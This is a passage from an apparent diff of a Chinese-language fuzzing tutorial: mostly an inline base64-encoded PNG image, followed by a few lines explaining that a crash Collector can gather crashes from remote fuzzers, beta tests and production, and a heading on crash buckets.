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
+)
+
+由于可以从任何程序中调用`Collector`（前提是它们已配置为与正确的服务器通信），因此您现在可以从任何地方收集崩溃-远程计算机上的模糊器，在Beta测试期间发生的崩溃甚至在生产期间发生的崩溃。
+
+## 崩溃桶
+
